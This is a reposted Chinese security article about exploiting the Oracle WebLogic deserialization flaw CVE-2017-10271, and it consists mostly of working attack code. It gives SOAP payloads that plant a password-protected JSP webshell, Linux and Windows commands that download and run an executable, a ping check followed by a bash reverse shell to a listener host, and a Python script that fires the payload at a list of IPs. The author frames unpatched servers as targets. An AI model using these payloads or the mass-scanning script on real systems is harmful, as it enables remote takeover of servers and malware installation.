内容简介:也谈Weblogic漏洞CVE-2017-10271的利用方法
*本文作者:ph0en1x,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
WebLogic WLS 组件漏洞(CVE-2017-10271)自2017年12月22日爆出后,至今也有20多天了,相信有责任心的企业和网管已经将服务器的漏洞修复,而至今仍未修复漏洞的服务器,为我们进行漏洞测试提供了很好的靶子。目前针对该漏洞有两种比较成熟的利用方法,一种是利用写文件的方式GetShell,一种是利用命令执行的方式下载可执行文件。本文将结合作者的实际操作,分别介绍这两种利用方法。
一、漏洞简要回顾
CVE-2017-10271 是利用Oracle WebLogic中WLS 组件的反序列化漏洞进行远程代码执行的,此漏洞影响的版本为10.3.6.0.0、12.1.3.0.0、12.2.1.0.0和12.2.1.2.0。对于漏洞的原理,这里就不介绍了,网上有详细的分析。该漏洞的利用方法相对简单,只需要向服务器页面 /wls-wsat/CoordinatorPortType 发送精心构造的 HTTP 请求,就可以执行相应的命令,完成相应的操作。
二、利用方法一
利用java.io.PrintWriter类进行文件创建,并向文件写入数据。
1 、在服务器写入test.txt文件,文件内容为“Hello,Test!”,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt,代码如下。接下来访问服务器: http://.com/bea_wls_internal/test.txt ,只要文件存在,就可判断漏洞存在。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println"> <string>Hello,Test!</string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
2 、在服务器写入test.jsp文件,文件内容为jsp一句话木马,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp,代码如下。接下来访问服务器: http://.com/bea_wls_internal/test.jsp?pwd=test&i= <需要执行的命令>即可GetShell。
...... <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"> <string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");}%>]]></string></void><void method="close"/> .......
三、利用方法二
利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。
1 、通过执行wget、curl命令或者powershell,下载可执行文件并执行。目前挖矿大军基本都采用此方法,简单粗暴,不判断漏洞的存在性,直接下载并执行,成功一个算一个。
Linux 代码为:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>wget http://xxxx.com/xxx | /bin/bash xxx</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
Windows 代码为:
...... <array class="java.lang.String" length="3"> <void index="0"> <string>powershell</string> </void> <void index="1"> <string>-Command</string> </void> <void index="2"> <string>(New-Object System.Net.WebClient).DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');</string> ......
2 、通过执行ping命令,判断漏洞是否存在,再执行反弹 shell 命令。让目标服务器ping 1.1.1.1主机,在1.1.1.1上进行抓包,如果收到包数为3,ICMP数据大小为888的包,则判断漏洞存在,再执行反弹shell命令,将shell反弹至1.1.1.1的53端口。
....... <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>ping -c 3 -s 888 1.1.1.1</string> </void> .......
........ <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/1.1.1.1/53 0>&1</string> </void>
四、一些小体会
1、每一种方法都不是百分之百好用,因为每个服务器的配置和环境千差万别; 2、weblogic的服务端口可以是80,7001,7002等; 3、进行文件写入时,由于各服务器weblogic安装路径有差异,对写入的文件路径需要填写准确; 4、进行命令执行时,<arrayclass=”java.lang.String” length=”3″>这里的长度与下面void的个数对应,且index的值从0开始; 5、反弹shell需要确保服务器所在网络没有进行相关的设置,否则shell弹不回来; 6、目前来看,利用ping的方式判断漏洞存在的准确率较高,利用命令下载并执行的成功率较高,其他方法成功率都不高。
五、附上自己写的 python 脚本(仅作测试)
#coding:utf-8 #post.py import urllib2 import os import sys import socket import time payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> ******* </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>''' def doPost(url,payload,header_dict): req = urllib2.Request(url=url,data=payload,headers=header_dict) try: time.sleep(10) res = urllib2.urlopen(req,timeout = 10) res = res.read() print ('OK') except socket.timeout,e: print ('Connet Timeout') pass except urllib2.URLError as error: print (error.reason) pass except urllib2.HTTPError as error: print (error.code) pass def main(): if len(sys.argv) == 2: filename = sys.argv[1] if not os.path.isfile(filename): print('[-]' + filename + 'does not exit.') exit(0) ipList = open(filename) for line in ipList.readlines(): line=line.strip('\n') print('[-] ' + line ) urls = "http://" + line + "/wls-wsat/CoordinatorPortType" header_dict = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko','Content-Type': 'text/xml','Upgrade-Insecure-Requests':'1','Host':line} doPost(urls,payload1,header_dict) else: print('[-] Usage: ' + str(sys.argv[0]) + ' <ip filename>.') if __name__ == '__main__': main()
注:本文方法代码完全公开,请仅作学习交流使用,其余用途与本文作者无关。
*本文作者: ph0en1x,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Java RMI漏洞利用
- Firefox漏洞利用研究(一)
- phpcms网站漏洞修复之远程代码写入缓存漏洞利用
- 2018最新PHP漏洞利用技巧
- LearnX控件漏洞挖掘与利用
- Nday 漏洞从挖掘到利用
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
企业应用架构模式
Martin Fowler、王怀民、周斌 / 王怀民、周斌 / 机械工业出版社 / 2004-7 / 49.00元
本书作者是当今面向对象软件开发的权威,他在一组专家级合作者的帮助下,将40多种经常出现的解决方案转化成模式,最终写成这本能够应用于任何一种企业应用平台的、关于解决方案的、不可或缺的手册。本书获得了2003年度美国软件开发杂志图书类的生产效率奖和读者选择奖。本书分为两大部分。第一部分是关于如何开发企业应用的简单介绍。第二部分是本书的主体,是关于模式的详细参考手册,每个模式都给出使用方法和实现信息,并一起来看看 《企业应用架构模式》 这本书的介绍吧!